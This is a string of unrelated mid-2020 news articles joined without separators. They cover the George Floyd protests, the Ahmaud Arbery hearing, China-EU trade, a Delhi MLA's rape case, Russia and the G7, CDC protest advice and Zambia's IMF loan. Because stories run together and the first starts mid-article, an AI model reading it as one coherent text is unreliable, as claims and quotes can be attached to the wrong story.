Themes: The film explores the social, emotional, and mental complexities of race and how Washington's character struggles to be taken seriously by law enforcement

After sharing her own love for the dramatic film, Kerry took to her Instagram Story to share some of the fan-written reviews she had received via direct message over the past week.

Many of the messages toted the film as being an 'important watch' based on the current racial climate in the United States.

Protests have erupted across the nation in wake of the senseless killing of civilian George Floyd, who died at the hands of police in Minneapolis, Minnesota on May 25.

In the horrifying video footage of Floyd's death, he is seen saying that he can not breathe as officer Derek Chauvin, 44, kneeled on his neck.

Speaking out: During the film's red carpet premiere in October, Kerry spoke to ET about how 'police violence' has become such 'an extraordinary problem in our culture'; Kerry at the red carpet premiere of American Son in 2019

Outrage: Protests have erupted across the nation in wake of the senseless killing of civilian George Floyd, who died at the hands of police in Minneapolis, Minnesota on May 25; protesters pictured in West Hollywood on June 3

Eventually he went silent and limp, and he was later declared dead.

The Minneapolis policeman accused of killing Floyd, Chauvin, was taken into custody on May 29 and charged with third-degree murder, officials said.

On Wednesday, Chauvin's charges were upgraded to second-degree murder.

Three more officers, Thomas Lane, 37, J. Alexander Kueng, 26, and Tou Thao, 34, were arrested and charged with 'aiding and abetting murder,' according to the New York Times.

RIP: In the horrifying video footage of Floyd's death, he is seen saying that he can not breathe as officer Derek Chauvin, 44, kneeled on his neck; Floyd pictured on Rihanna's Instagram on May 29
 Flash

The COVID-19 pandemic has brought great uncertainty to the entire world. But, what impact will it have on the cause of globalization?

In a recent interview with China.org.cn, Ambassador Zhang Ming, head of the Chinese Mission to the European Union, insisted the historical trend will not be reversed radically.









He explained that globalization was an objective historical process independent of human will, dating back as early as the 16th century.



On the one hand, with its rapid development in recent decades, all countries have participated extensively in the division of labor, and economic and industrial cooperation. With semi-finished goods now accounting for 70% of all international trade, the interests of nations have become deeply intertwined. No country can manage on their own or stand aloof.

Meanwhile, coordination and cooperation are needed to tackle global issues. The pandemic this year has exposed deficiencies and vulnerabilities in both the global industrial and supply chains.

Countries may scale up interventions in their own industrial layout. However, the global value chain is formed spontaneously according to market laws, and has been operating for decades. It is neither scientific nor realistic to cut it off through human intervention, or clamor for "decoupling," "industrial transfer" or "reconstruction."

China and EU are the natural guardians of globalization

Both China and the EU have benefited greatly from the multilateral trading system. Being opposed to unilateralism and protectionism, they have become the natural guardians of globalization.

Zhang Ming explained that he has frequently exchanged views with Chinese and European businesspeople about issues concerning the global supply chain and the resumption of normal production and work.

"I learned that about 90% of European companies believe the impact of the epidemic is temporary and they will continue to focus on the Chinese market," he said, adding that many companies including Volkswagen plan to increase their investment in China this year.

According to a survey by the European Union Chamber of Commerce in China (EUCCC), although the pandemic has brought some difficulties to Chinese-funded companies operating in Europe, nearly 60% are willing to continue investing.

Zhang believes that the similar choices of Chinese and European investors have brought hope to the current state of globalization that was running into headwinds.

In addition, Zhang also revealed that China and many European countries are taking the establishment of a "fast track" for essential personnel exchanges as an opportunity to create conditions for resuming work and production, and restarting economic and trade cooperation, as well as jointly maintaining the stability of the international industrial and supply chain to further boost confidence in weathering the pandemic.

European companies confident about the Chinese market

At present, more than 16,000 EU companies have invested in China, establishing more than 47,000 projects. With a cumulative investment of more than US$110 billion, they have generated huge profits.

Joerg Wuttke, president of the EUCCC, said recently that China is the fastest growing market in the world, and that European companies would certainly not be choosing to leave the Chinese market.

Ambassador Zhang believes that through the continuous deepening of China's reform and opening-up and its ever-improving market environment, European companies in China will be able to find more and better business opportunities.

Despite the ongoing pandemic, European companies still showed great interest in the China International Import Expo (CIIE). According to Zhang, as of now, more than 400 companies from 27 European countries have signed up to take part in the third expo. Many have even signed contracts to participate in the next few expos. "This reflects the great appeal of the CIIE and the strong confidence of European companies in the Chinese market," he added.

New mission facing China-EU relations

This year marks the 45th anniversary of the establishment of diplomatic relations between China and the EU. During that time, Zhang Ming explained, both sides had charted an extraordinary path. China has grown into the second largest economy in the world, and its mission of building a well-off society for 1.4 billon people is within reach.

Political, economic and social integration have continued to advance in the EU, and the bloc now has 27 member countries. The paths of development and growth of China and the EU continuously intertwine, making them comprehensive strategic partners. Both sides have been actively promoting the construction of four major partnerships in peace, growth, reform and civilization.

Since the establishment of diplomatic relations, the trade volume between China and the EU has grown 300-fold. China and the EU also witness 8 million visits each year.

According to Zhang Ming, Sino-European cooperation has been extended into many fields including peacekeeping and security, the environment, science and technology, culture, education, and health. Both sides have worked hard to maintain multilateralism and respond to global challenges in international affairs.

In the face of major changes not seen for a century, China and the EU have each established a set of grand development goals. Strong growth, lasting peace, continuous innovation, clean environment and diverse civilizations are all shared goals and will certainly inspire more vigorous cooperation.

Looking ahead, Zhang Ming said the two sides now face a new mission: higher-quality development, closer cooperation and increased openness.

He believes that technological innovation, digital interconnection, and environmental protection will play a more important role in the Chinese economy. Meanwhile, the EU is also actively promoting the European Green Deal and the European Digital Strategy. China and Europe should nurture these potential growth areas for cooperation.

China will not slow down the pace of deepening reform and opening-up. As such, Zhang hopes the EU and other international partners will work with China to maintain a global open cooperation environment, maintain a multilateral trading system, and ensure the stability of the global supply chain.

"We look forward to reaching a high-level and balanced China-EU investment agreement," concluded the ambassador.
New Delhi:

Sacked Delhi Minister and AAP MLA Sandeep Kumar, arrested on rape charges on the complaint of a woman, was today sent to 14-day judicial custody by a court.

Special Judge Poonam Chaudhry remanded 36-year-old Kumar to judicial custody till September 23 after the Delhi Police submitted he was not required for custodial interrogation.

Police sought judicial custody of the MLA, who was produced before the court on expiry of his one-day police remand, to conduct fair investigation and prevent the accused from tampering with evidence.

The police, which had yesterday got extended Kumars police custody by a day to recover the original electronic device used for making the alleged objectionable video, said it could not be recovered.

Meanwhile, advocate Pradeep Rana, appearing for Kumar, claimed there was a threat to the MLAs life in jail and he should be provided special armed guards and a separate cell during judicial custody.

To this, the court forwarded the application to the jail superintendent directing him to consider it as per the prison manual.

During the hearing, the police responded to another plea moved by the defence counsel alleging that he was illegally arrested and the probe agency had not given any ground for doing so.

The police said Kumar was arrested on the basis of incriminating evidence collected against him.

The prosecution had earlier argued that Kumar was not cooperating in the probe.

Kumar was arrested on September 3 after a woman had approached Sultanpuri police station in North Delhi complaining of sexual harassment against the former Social Welfare and Women and Child Development minister, following which a case was filed. The woman had figured in an objectionable video with him.

In her complaint, the woman has alleged that about 11 months ago, she was raped by Kumar when she had gone to his office in Outer Delhis Sultanpuri area seeking help to obtain a ration card.

Kumar was removed from AAP government on August 31 by Chief Minister Arvind Kejriwal after the CD surfaced.

The MLA from Sultanpur Majra had surrendered before the investigators at the office of DCP (Outer) in Pitampura, where his statement was recorded.

Soon after the controversy, the MLA had defended himself, saying he has been targeted. Kumars wife has also come out in support of her husband, claiming that he was falsely implicated in the scandal.

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Washington DC Mayor Muriel Bowser is claiming budget issues are behind her decision to kick Utah National Guardsmen out of their hotel while they have been called up to protect the nation's capitol during the George Floyd protests.

The Utah National Guard said Friday that 200 service members were being forced to move out of the downtown DC Marriott hotel they had been living in since being activated on Monday, as violence and vandalization have been seen in the wake of the protests.

In a statement Friday, the Utah National Guard said that on Thursday night, 'we were informed that our service members would be relocated from their hotel rooms,' Fox News reported.

The Washington DC mayor has kicked 200 Utah National Guardsmen out of their hotel Thursday night, saying the city will not pay their hotel bills. Utah Guardsmen are seen Wednesday in DC, passing by protesters

Utah is among at least 10 other states that sent guardsmen to Washington DC at the Secretary of Defense's request. Utah National Guardsmen are pictured here Wednesday in DC

The Utah Guard (pictured Wednesday near the White House) were activated on Monday to help protect the capitol as violence and vandalism broke out in the wake of protests

Utah Sen. Mike Lee tweeted about the Guardsmen being told to leave the hotel just after midnight Friday, calling Mayor Bowser 'ungrateful' for the help provided by the Guard

'It has been heartbreaking for our Utah National Guard service members to witness the pain, suffering, and frustration in our communities across the nation,' the Utah National Guard sad in the statement, noting that it 'has been supporting civil authorities with our top priority of protecting lives as well as preserving property and critical infrastructure in our nation's capital.'

Utah Sen. Mike Lee tweeted about the guardsmen's removal just after midnight Friday.

'Just heard that Mayor Bowser is kicking the Utah National Guard out of all DC hotels tomorrow. More than 1200 troops from 10 states are being evicted. This is unacceptable,' he wrote.

'These brave men and women have risked their lives protecting DC for three days. Rioting, looting, arson, and vandalism have all disappeared bc these soldiers served. And now they are being kicked to the curb by an ungrateful mayor. This must be stopped.'

The Utah Guardsmen (pictured Wednesday night in DC) finished their shift on Friday at 3am and were told they needed to vacate the hotel by 11am, before starting a 6pm shift

The Utah National Guard is seen standing on a police line in DC Thursday night as they face demonstrators protesting the death of George Floyd

Mayor Bowser (pictured) said that a city budget issue was the reason why the Utah National Guard was kicked out of their hotel and that the home states or armory should pay the bills

Mayor Bowser tweeted that she does not want other states' National Guard in Washington DC and has requested that they be recalled

Sen. Lee (pictured) said that it was 'unpatriotic' and 'unacceptable' to kick the Utah Guard out of the hotel after their fourth all-nighter in Washington DC

Lee noted that the Utah Guard came at the government's request and that if Bowser had a problem with it, she needed to address the issue with President Trump

In a statement, Lee said that the guardsmen did not finish their shifts until Friday at 3am and were 'forced out' of the hotel by 11am.

This left them just seven hours to move hotels before the start of their next shift, which runs from Friday 6pm to Saturday 2am.

'Evicting Utah National Guard personnel from their hotels after a late-night shift risking their lives to protect Washington is a shameful, petty, discrediting decision by Mayor Bowser,' Lee said in the statement.

'Our Utah guardsmen are consummate professionals who are not complaining in the slightest. But their labor and sacrifice on behalf of Washingtonians deserves better than this embarrassing spectacle. If Mayor Bowser has a problem with President Trump she should take it up with him, not take it out on National Guard personnel in the middle of a dangerous deployment in her city.'

The Utah National Guardsmen have since found another hotel to stay at, while the District of Columbia's National Guard said it was helping to resolve the matter, Fox News reported.

In response to Lee, Bowser tweeted Friday: 'Senator  until they are recalled home  which I have formally requested from the President, your troops are in DC hotels. However, DC residents cannot pay their hotel bills. The Army can clear that up with the hotel today, and we are willing to help.'

President Trump weighed in on the Utah National Guard hotel issue Friday afternoon, saying that DC's budget is 'totally out of control'

Bowser claimed that it was a budget issue that led to the Utah Guardsmen being ejected from there hotel, noting that DC residents would not be paying their hotel bills any longer and calling it 'overbilling.'

The mayor said that the city didn't 'evict anybody from a private hotel' and told Fox News that 'If they are going to use rooms we reserved, they have to pay for them.'

She said the armory or the home state of the National Guard currently in DC should be paying for their housing, not the city.

Bowser has been actively petitioning the governors of the states that have sent members of their National Guard to DC to withdraw the servicemen because 'their presence is unnecessary.'

On Monday, following days of peaceful Floyd protests being used as cover for violence, burning of buildings and vehicles, vandalization and store looting, Trump said from the White House that 'a city or a state refuses to take the actions that are necessary to defend the life and property of their residents, then I will deploy the United States military and quickly solve the problem for them.'

In Washington DC, armored military vehicles have been spotted driving through the disterict, while cars were also stopped at military checkpoints downtown following the 7pm curfew which started Tuesday night.

Lee told Fox News Friday that the Utah Guard 'came here at the request of their country and now, in the middle of it, in the middle of a deployment, in the middle of their fourth consecutive all-nighter, theyre being told theyre not welcome there. That is unpatriotic; that is unacceptable.'

He noted that the guardsmen were given just 10 hours notice before being sent to Washington DC to help safeguard the White House and other Capitol buildings.

Trump addressed the Utah Guardsmen hotel issue on Twitter Friday afternoon.

'The incompetent Mayor of Washington, D.C., @MayorBowser, whos budget is totally out of control and is constantly coming back to us for handouts, is now fighting with the National Guard, who saved her from great embarrassment over the last number of nights. If she doesnt treat these men and women well, then well bring in a different group of men and women!'

It's unclear which different group of people Trump was referring to.

In addition to Utah, states that sent their National Guard, at the request of the Secretary of Defense Mark Esper, include Ohio, South Carolina, Indiana, New Jersey, Maryland and Tennessee. Meanwhile states including Virginia, New York, Pennsylvania and Delaware declined the request.

About 1,600 guardsmen from across the country were brought into DC earlier in the week. Some have since been sent home, without being used, but others remain 'on alert,' according to The Hill.
WASHINGTON  The death of George Floyd in police hands has pushed the U.S. military to search its soul and to admit that, like the rest of America, it has fallen short on racial fairness.

Although the military historically has prided itself on diversity, leaders acknowledge that black troops often are disproportionately subject to military legal punishment and are impeded in promotions.

I struggle with the Air Forces own demons that include the racial disparities in military justice and discipline among our youngest black male airmen, Chief Master Sergeant of the Air Force Kaleth O. Wright, an African American and the services top enlisted airman, wrote in a social media post this week.

While tensions simmer between the Pentagon and the White House over the proper limits of military involvement in policing protests prompted by the May 25 killing of Floyd in Minneapolis, what goes largely unspoken is that many of the troops being called upon to help keep order are African Americans and other minorities.

Defense Secretary Mark Esper said little about the Floyd killing until Wednesday, when he called a news conference and declared the death a police murder. It is a tragedy that we have seen repeat itself too many times, he said.

Esper, a West Point graduate who served 10 years on active duty in the Army, called the military a leader on the racial front. But he acknowledged it has much to do to improve diversity and stop discrimination.

Wright, the chief master sergeant, said his greatest fear is waking up one morning to learn that a black airman has died at the hands of a white police officer.

On a less drastic, more subtle level, many African Americans who have served say they feel angst.

Im black, and when I walk up to somebody and say Hi, unless I have my veterans sticker on my car or Im on base, people look at me with a frown or walk away. Tensions are high, said Elvin Carey, a 35-year-old Iraq War veteran who is a civilian employee at Marine Corps Air Station Miramar in a San Diego suburb.

Wright was the first senior military leader to speak out after Floyds death. He was followed by an outpouring of anger and anxiety  some directed at the services own racial failings  from senior leaders throughout the military. Few concrete proposals for improvement have been offered, though, reflecting the difficulty of rapid change in such a large and tradition-bound institution.

Over the past week, after weve watched what is going on, we cant be under any illusions about the fact that racism is alive and well in our country. And I cant be under any illusions that we dont have it in our Navy, Adm. Mike Gilday, the chief of naval operations, said in a video message to all sailors Wednesday.

Army leaders took a similar tack.

Though we all aspire to live by the Army values of loyalty, duty, respect, selfless service, honor, integrity, and personal courage, the Army has sometimes fallen short, Army Secretary Ryan McCarthy and the Army chief of staff, Gen. James McConville, wrote in a message to the force Wednesday. Because just as we reflect the best of America, we reflect its imperfections as well.

The military, with African Americans making up a little over 17% of its active duty ranks, is more racially diverse than the country, which is 13% African American, according to 2019 Census estimates. The Army is the most diverse with more than 21% African Americans, while the Marine Corp is the least, with 10%. Blacks make up about 17% of the Navy and less than 15% of the Air Force.

But there is a much greater racial divide within the active duty military based on rank.

Fully 19% of active duty enlisted troops are black, but they make up only 9% of the officer corps. Of those, there are just 71 who are general or flag officers, wearing one to four stars, including only two who have attained the top four-star rank.

Colin Powell, an Army four-star general, was White House national security adviser and then chairman of the Joint Chiefs of Staff before President George W. Bush named him secretary of state.

However, none of the military services has ever been led by a black officer, although that is expected to change soon. Gen. Charles Q. Brown Jr., has been nominated to lead the Air Force, succeeding Gen. David Goldfein.

Brown, currently the commander of U.S. Pacific Air Forces, posted on social media Friday a video message describing a lifetime of dealing with racial bias and the struggle to fit in to a predominantly white society.

Im thinking about my Air Force career where I was often the only African American in my squadron or, as a senior officer, the only African American in the room, he said in a raw tone. Im thinking about wearing the same flight suit with the same wings on my chest as my peers and being questioned by another military member: Are you a pilot?'

In a tangible sign of openness to forcing change on the racial front, Goldfein declared in an internal message June 2, We must look inward at our Air Force. The services inspector general, he said, will review the Air Forces legal system as well as racial injustice and opportunities for advancement.

Gen. Mark Milley, chairman of the Joint Chiefs of Staff, joined the chorus of voices with a message to the force that addressed more broadly the need for troops to stay true to the Constitution.

We all committed our lives to the idea that is America, he added in a hand-written note beside his signature. We will stay true to that oath and the American people.

The military has not ignored the race issue entirely. In April, the top Marine, Gen. David Berger, took on the issue of racial tensions within the Corps by banning the display of the Confederate flag and other such symbols.

___

AP writer Julie Watson in San Diego contributed.
The future of air travel

Lara writes: Over the last month, my Swedish partner and I have had to travel from New York to London to Sweden. Each of our three flights was a vastly different experience but gave a preview of what to expect as countries begin to reopen their borders as coronavirus lockdowns ease.

For our first flight, we arrived at Newark Liberty International Airport to find a virtual ghost town. Only 36 of us were scheduled to take off on the 318-seat Boeing 787 Dreamliner to London, so we were allowed to choose whatever seats  or entire rows  we wanted. We wore masks, as many airlines have required, and food service was reduced.

Three weeks later, we left for my partners home in Gothenburg, Sweden, but because of lower demand, there were no direct routes. Our connecting flight to Stockholm was packed and social distancing was impossible. On our last flight, there were enough empty seats to have a little extra space, but every cough and sneeze still made me nervous.

Though we would not have traveled if we did not have to, we still wondered: How much risk were we incurring?
In recent days, the issue came up on top international agenda of the alleged prospects for Russia's return to the Group of Seven (G7), a club of seven major powers, which includes the USA, Japan, Germany, UK, France, Canada, and Italy.

Rumors of yet another international conspiracy started circulating in media space, with more and more elaborate details building up and presented by some as an almost accomplished fact.

This hype resembles the notorious fake news about the alleged "exchange of Crimea for Syria", which were actively discussed on various online platforms following the U.S. presidential elections of 2016.

Meanwhile, German Chancellor Angela Merkel turned down U.S. President Donald Trump's invitation to attend the G7 summit in person (the report came May 29). With reference to an official representative of the German government, it was noted that Merkel "cannot agree to personal participation" in the G7 summit and neither can she take a trip to Washington, "given the general situation with the pandemic." This message spiced up the whole story even more, bringing the topic to the top news segment.

However, a thorough analysis of various media reports suggests that on Saturday, May 30, U.S. President Donald Trump announced his intention to postpone the G7 summit to later this year, around the fall (that's if it's held, at all, given the coronavirus uncertainty) and to invite another four leaders to attend: those of Russia, South Korea, Australia, and India.

International media didn't fully grasp the issue, constantly confusing the "invitation to an event of the G7 member states" with the "return of the Russian Federation to the G7"

Even the Russian President's website said that, during a conversation between Vladimir Putin and U.S. President Donald Trump on June 1, the two discussed Trump's "idea of holding a G7 summit with the possible invitation of the leaders of Russia, Australia, India and the Republic of Korea."

As it later turned out, international media didn't fully grasp the issue, constantly confusing the "invitation to an event of the G7 member states" with the "return of the Russian Federation to the G7".

For example, The New York Times said that while talking to reporters onboard the Air Force One on May 30, the U.S. president said that he planned to invite Russia, adding that the president sought to discuss the future of China.

Unfortunately, Ukrainian-language media also jumped on the hype train, obviously, having confused the phrase from the Reuters report dated June 1 on Trump's plans to "expand the list of invitees" for "expand the Group of Seven" to the G8 at the expense of Russia.

Perhaps, some Russian media contributed to this confusion. The Moscow Times wrote precisely that the U.S. president "proposed his plan to include Russia in an expanded G7 summit".

At the same time, the position of Canada, the country truly friendly to Ukraine, has remained unhindered, as always. Canadian Prime Minister Justin Trudeau on Monday, June 1, said: "Russia was excluded from the G7 after it invaded Crimea a number of years ago, and its continued disrespect and flaunting of international rules and norms is why it remains outside of the G7, and it will continue to remain out."

It is quite possible that Russia will receive an invitation to attend the summit this fall  that's if it's held this year at all

So, as we can understand, any moves to bring Russia back to the G7, where all important decisions are taken by a consensus, are off the table. However, the presiding country (this year it's the United States) may, according to tradition, invite other countries to attend the summit, at its discretion.

For example, in 2019, the French Presidency of G7, unexpectedly for many, invited the Iranian foreign minister.

So, it is quite possible that Russia will receive an invitation to attend the summit this fall  that's if it's held this year at all

Oleh Belokolos is Chairman of the Board at the Maidan of Foreign Affairs Foundation
Philly Police Commissioner Danielle Outlaw speaks during a press conference the day after protests related to the killing of George Floyd, outside of the Fire Administration Building. Read more

Philadelphia Police Commissioner Danielle Outlaw instructed members of the department on Wednesday not to obstruct their badge numbers with mourning crepe being worn to honor recently deceased officers, including slain Sgt. James OConnor IV.

The directive was sent to all Police Department employees by email after concerns were raised on social media and in an online petition. It came after some officers responding to the protests over the death of George Floyd could be seen with their crepe  a black band stretched across the badge  spread over their badge numbers instead of sitting higher.

Several Twitter users posted streams of photos showing a variety of officers covering their badge numbers. And a petition calling for an end to the practice had recorded more than 1,000 signatures by Thursday afternoon.

The issue was raised by several people participating in protests over police brutality and the death of Floyd when a Minneapolis police officer knelt on his neck. One video posted on Twitter on Wednesday showed a commander instructing officers in Fishtown to reposition their crepes and show the badge numbers, drawing applause from the crowd.

Outlaw said at a news conference Thursday that the department did not have a policy on where the mourning crepe should be worn. But in her email to the department, she said, While wearing mourning crepes, the officers badge number needs to remain visible at all times."

Marni Snyder, a defense lawyer representing some of those arrested this week, said a badge number is a key method for members of the public to be able to identify officers they interact with.

 READ MORE: From Thursday: A sixth night of curfews

She also said the information is crucial for attorneys who represent clients arrested on the street, because police paperwork is often compiled by one officer, but photos of the scene often show several officers not mentioned in official documents. Seeing the badge numbers can help attorneys identify other officers who may have witnessed the alleged crime who could be worth interviewing or calling as witnesses, Snyder said.

After police took aggressive actions during the unrest earlier this week  including deploying tear gas in West Philadephia on Sunday, and using gas and pepper spray on demonstrators who had gathered Monday on the Vine Street Expressway  officers on Thursday took a much more restrained approach as protests continued in Center City, hanging back from those who were marching and chanting, and avoiding tactics that had seemed to spark tension.

Staff writer Oona Goodin-Smith contributed to this article.
Cameron Welch said he was about 11 or 12 years old when his mother began making him follow the "unwritten rules for a young black man."

Don't put your hands in your pockets, don't put your hoodie on, don't be outside with no shirt on, check in with your people even if you're down the street, just to name a few.

Welch, now 18 years old, recently went viral after uploading a video of the rules to the popular TikTok app. He wasn't expecting to go viral, he said, but the rules seem even more important following the death of George Floyd.

STREAMING NOW: Netflix and Hulu documentaries that help explain race relations in America

"The rules impact me differently around this time," Welch said. "Missing a rule could cost me my life."

"Don't be out too late, don't touch anything you're not buying, never leave the store without a receipt or bag, not even for a pack of gum," he continues in the video.

Welch, who now has 2.9 million likes and 129 thousand shares on the video, said his mom is very proud of him for posting it.

The video also has more than 48,000 comments, with many people apologizing and saying it puts things into a different perspective.

"The fact that you can't just live your life is sickening," one TikTok user replied. "This sounds like 1965, not much has changed," said another.

For other black men and boys, the impact of the video is even stronger.

"This is the normal life for us I'm used to it," a user replied. "Got this talk at 10 and my brothers at 8 and 6," replied another,

Welch said now more than ever, it's important for people supporting the movement to stay positive.

When asked what he hopes people who have watched his video take away from it, he replied, "I hope people realize the point of the video and understand that no one should live like this."
The director of the Centers for Disease Control and Prevention told a House panel Thursday that those protesting across the country, especially in metropolitan areas should highly consider" getting tested.

The demonstrations were a portion of a host of large gatherings discussed in front of a House subcommittee on coronavirus response.

Dr. Robert Redfield shook his head in disbelief as U.S. Rep. Rosa DeLauro of Connecticut showed him photos of crowds gathering in tourists spots in Missouri and at the SpaceX Launch without masks.

The three instances of mass gathers sparked fear within the director that the nation could see spikes in the virus again.

I do think there is a potential, unfortunately, for this to be a seeding event, Redfield said. And the way to minimize it is to have each individual to recognize its to the advantage of them to protect their loved ones, to [say]: Hey, I was out. I need to go get tested. You know, in three, five, seven days, go get tested. Make sure youre not infected.

Redfield said cities that have yet to see demonstrative declines in COVID-19 would be most at risk for a resurgence of the virus. He mentioned Minneapolis and Washington D.C. specifically.

Protests, especially those that result in police intervention, could lead to increased transmission between people. U.S. Rep. Mark Pocan asked if the use of tear gas, which causes people to cough, could increase the spread of COVID-19.

Definitely, coughing can spread respiratory viruses, including COVID-19, Redfield said.

Pocan followed up asking whether the CDC chief had advised President Trump or worked with law enforcement to discontinue use of chemical agents.

I think you raised an important point, Redfield said. We have advocated strongly the ability to have face coverings and masks available to protesters so that they can at least have those coverings."

When pressed if Redfield will pass those recommendations onto the Trump administration, the director of the CDC said he would pass the comment onto the coronavirus task force at their next meeting.

In Massachusetts, demonstrations against police brutality have taken place across the state. Thousands have protested in the states three largest cities multiple times. Tear gas or similar agents have been used in Boston, Worcester and Brockton.

On Thursday, the Massachusetts Department of Public Health reported 50 new deaths related to the coronavirus increasing the overall total to 7,201. The total number of cases has eclipsed 102,000.

Gov. Charlie Baker implemented a reopening strategy last month that includes four phases. The state could transition into phase two next week. However, each phase is predicated on public health trends. At any time Baker could call for a phase to remain in place or return to a previous phase.

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(CNN)  William Bryan told investigators he heard Travis McMichael use a racial epithet after fatally shooting Ahmaud Arbery in Glynn County, a Georgia Bureau of Investigation agent testified Thursday during preliminary hearings.

The hearing lasted about seven hours, with the judge ruling all three defendants -- McMichael; his father, Gregory McMichael; and William "Roddie" Bryan -- would stand trial on all charges.

GBI Assistant Special Agent in Charge Richard Dial testified that Bryan told police Travis McMichael said "f***ing n***er" after three blasts from his shotgun left Arbery dead in the street in the Satilla Shores neighborhood in February. Body camera footage also showed a Confederate flag sticker on the toolbox of McMichael's truck, he said.

On cross-examination, Dial testified that Bryan mentioned the slur in a May 13 GBI interview, and to Dial's knowledge, Bryan had not previously made the allegation, including during a May 11 interview.

However, the agent said, there were "numerous times" on social media and via messaging services that McMichael used the same slur, once messaging someone that he loved his job because there "weren't any N-words anywhere.

In another instance sometime before the shooting, he replied in an Instagram message saying things would be better if someone had "blown that N-word's head off," Dial testified. Dial did not say to whom McMichael was referring. Dial was not asked for more context.

Bryan, too, had several messages on his phone that included "racial" terms and indicated he may have prejudged Arbery when he saw him that day, Dial said.

"There's evidence of Mr. Bryan's racist attitude in his communications, and from that I extrapolate the reason why he made assumptions he did that day," he said. "He saw a man running down the road with a truck following him, and I believe he made certain assumptions that were, at least in part, based upon his racial bias."

The pursuit

The allegations came as Dial outlined events that led to Arbery's death and said that before Arbery was shot, the three men charged in his murder engaged in an elaborate chase, hitting the 25-year-old jogger with a truck as he tried to escape them.

Asked if he believed McMichael could've been acting in self-defense, Dial said the opposite was true.

"I believe Mr. Arbery was being pursued, and he ran till he couldn't run anymore, and it was turn his back to a man with a shotgun or fight with his bare hands against the man with the shotgun. He chose to fight," he said. "I believe Mr. Arbery's decision was to just try to get away, and when he felt like he could not escape he chose to fight."

As Travis and Gregory McMichael attempted to head him off, Arbery turned and ran past the truck of Bryan, who filmed the killing, and Bryan struck Arbery with the side of his truck, Dial said.

Bryan told police that at one point he thought Arbery was trying to enter his truck, Dial said, adding that he didn't know if that was true but he felt Arbery was trying to escape.

Investigators found a swipe from a palm print on the rear door of Bryan's truck, cotton fibers near the truck bed that "we attribute to contact with Mr. Arbery" and a dent below the fibers, he said.

The details of Arbery's last moments emerged amid a week of nationwide protests over another killing -- that of George Floyd by police in Minneapolis -- and demonstrators have also called for justice in Arbery's case.

Arbery tried to escape, agent says

Though Bryan's attorney has contested allegations his client took part in the killing, Dial said Bryan yelled to the McMichaels, "Do you got him?" when he saw them chasing the 25-year-old jogger. The McMichaels and Bryan have not entered pleas, but lawyers for all three men have proclaimed their innocence.

After yelling out to the McMichaels, Bryan joined the chase, at which point none of the three had called 911, Dial said.

The McMichaels had already tried to head off Arbery once when Bryan joined the pursuit, the GBI agent said. Bryan tried to block in Arbery as Travis McMichael drove around the block with his father in the bed of the truck, he said.

Bryan "made several statements about trying to block him in and using his vehicle to try to stop him," Dial said. "His statement was that Mr. Arbery kept jumping out of the way and moving around the bumper and actually running down into the ditch in an attempt to avoid his truck."

At one point, Arbery was heading out of the Satilla Shores neighborhood where the defendants live, but the McMichaels forced him to turn back into the neighborhood and run past Bryan, the agent said. That is when he struck Arbery, Dial said, and Arbery kept running with the McMichaels in pursuit.

Bryan turned around, and that is where the widely disseminated video of Arbery's killing begins, he said.

When police arrived after the shooting, Dial said, Gregory McMichael said in remarks caught on police body camera footage that he didn't know for certain if Arbery had stolen anything.

"He had a gut feeling that Mr. Arbery may have been responsible for thefts that were in the neighborhood previously. He actually says gut. His instinct told him that," the GBI agent said.

Travis McMichael told police that he ordered Arbery to get on the ground before the shooting, and Gregory McMichael also told an officer he had instructed his son, "Don't shoot," Dial said.

The McMichaels, charged with murder and aggravated assault, appeared wearing face masks from the Glynn County Detention Center a few miles away from the courthouse.

Bryan waived his right to appear. He was arrested last month on charges that include felony murder.

Homeowner didn't testify

Prosecutor Jesse Evans, of Cobb County in metro Atlanta, opened by saying the evidence would show the McMichaels "chased, hunted down and ultimately executed" Arbery.

The GBI took over the investigation after Glynn County police and two prosecutors declined to press charges. Atlantic Judicial Circuit District Attorney Tom Durden became the third prosecutor to recuse himself after the GBI assistance he requested promptly yielded charges.

Larry English, who owns an under-construction home where Arbery stopped before he was shot, did not testify Thursday. He wasn't subpoenaed, his attorney Elizabeth Graddy said.

Men's attorneys proclaim innocence

Bryan's attorney has repeatedly insisted that his client was merely an observer and has questioned why state police charged the man he labels the prosecution's "star witness."

Travis McMichael, who is accused of the actual February 23 shooting outside of Brunswick, is not guilty, his attorneys say, as "compelling evidence" will demonstrate.

"Travis has been vilified before his voice could even be heard," the lawyers said in a statement. "The truth in this case will exonerate Travis."

Gregory McMichael is also a victim of a rush to judgment, his attorney said.

"So often the public accepts a narrative driven by an incomplete set of facts, one that vilifies a good person," defense attorney Laura Hogue said in a statement.

Added co-counsel Frank Hogue, "The full story, to be revealed in time, will tell the truth about this case."

State prepares for protests

Demonstrations are expected. The NAACP has organized a protest for 5:45 p.m. outside the courthouse.

Georgia Gov. Brian Kemp has warned "bad actors" not to mar what have "been very peaceful gatherings in that community for well over a month now."

"Let me be clear once again: We will not tolerate disruptive or dangerous behavior, including criminal conduct, and we will put the safety of our citizens first," he said in a news conference.

The Georgia State Patrol, state Department of Natural Resources officers, National Guard troops and state Emergency Management Agency officials will be on hand to assist local authorities, the governor said.

The shooting

Gregory and Travis McMichael were arrested May 7. The father and son pursued Arbery after suspecting him in a rash of area break-ins, the elder McMichael told police, according to DIal.

The McMichaels armed themselves and, with Bryan's help, tried to head off Arbery as he ran through their neighborhood.

Bryan's video picks up before the third attempt, and Arbery is seen trying to avoid the McMichaels' pickup truck, which is stopped in the road, before abruptly turning toward Travis McMichael in front of the truck.

A shot goes off as they struggle over the gun. The two disappear off the left side of the screen. Gregory McMichael draws a handgun but does not shoot.

A second shot is heard as Arbery and the younger McMichael are off screen. As the men come back into view, they continue fighting for the shotgun. Arbery throws a punch at Travis McMichael's head as a third shot is heard.

Arbery steps back as blood appears on the back of his T-shirt under his left rib cage. He stumbles and falls in the middle of the street as Travis McMichael walks away.

The Justice Department has launched a hate crime investigation in the case, Merritt has said.
The International Monetary Fund has rebuffed Zambias appeal for an emergency loan as the country faces a deepening economic crisis amid the pandemic.

Zambias Finance Minister Dr. Bwalya Ngandu said the IMF would not grant his governments request for a loan due to the countrys unsustainable debt. The US-dominated IMF said that countries with unsustainable debt levels before the pandemic must first discuss with their creditorsmeaning Chinahow their loans can be managed.

Zambia is widely seen as a test case. It is due to make $1.5 billion in debt repayments this year, more than its foreign currency reserves in January.

President Edgar Lungus government has hired the financial management firm Lazard, which is also advising Argentina and Lebanon, to deal with its debt so as to access IMF loans and avert defaulta move criticized by some within the ruling elite. Zambia could become the first African country to default on its sovereign debt.

